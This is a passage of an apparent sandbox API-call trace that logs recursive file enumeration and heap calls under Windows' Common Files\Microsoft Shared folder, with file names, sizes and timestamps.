| out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0266.512] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.513] GetProcessHeap () returned 0xc10000 [0266.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0266.513] GetProcessHeap () returned 0xc10000 [0266.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0266.513] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.514] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.514] GetProcessHeap () returned 0xc10000 [0266.514] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.515] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.515] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0266.515] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.515] GetProcessHeap () returned 0xc10000 [0266.515] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.515] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0266.515] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0266.515] GetProcessHeap () returned 0xc10000 [0266.515] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.515] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0266.515] GetProcessHeap () returned 0xc10000 [0266.515] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.516] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.516] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.516] GetProcessHeap () returned 0xc10000 [0266.516] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0266.516] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.516] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0266.517] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0266.517] GetProcessHeap () returned 0xc10000 [0266.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0266.517] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.517] GetProcessHeap () returned 0xc10000 [0266.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0266.517] GetProcessHeap () returned 0xc10000 [0266.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0266.518] GetProcessHeap () returned 0xc10000 [0266.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0266.519] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.519] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a678100, ftCreationTime.dwHighDateTime=0x1cc1191, ftLastAccessTime.dwLowDateTime=0xabcd0d23, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6a678100, ftLastWriteTime.dwHighDateTime=0x1cc1191, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0266.519] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a678100, ftCreationTime.dwHighDateTime=0x1cc1191, ftLastAccessTime.dwLowDateTime=0xabcd0d23, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6a678100, ftLastWriteTime.dwHighDateTime=0x1cc1191, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0266.519] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0266.520] GetProcessHeap () returned 0xc10000 [0266.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee33900, ftCreationTime.dwHighDateTime=0x1cc11a1, ftLastAccessTime.dwLowDateTime=0xa002a840, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x9ee33900, ftLastWriteTime.dwHighDateTime=0x1cc11a1, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096c400, ftCreationTime.dwHighDateTime=0x1cbfe3c, ftLastAccessTime.dwLowDateTime=0x2b77ba12, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x1096c400, ftLastWriteTime.dwHighDateTime=0x1cbfe3c, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096c400, ftCreationTime.dwHighDateTime=0x1cbfe3c, ftLastAccessTime.dwLowDateTime=0x2b77ba12, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x1096c400, ftLastWriteTime.dwHighDateTime=0x1cbfe3c, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0266.520] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.520] GetProcessHeap () returned 0xc10000 [0266.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0266.520] GetProcessHeap () returned 0xc10000 [0266.520] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0266.521] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14b8a29e, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, 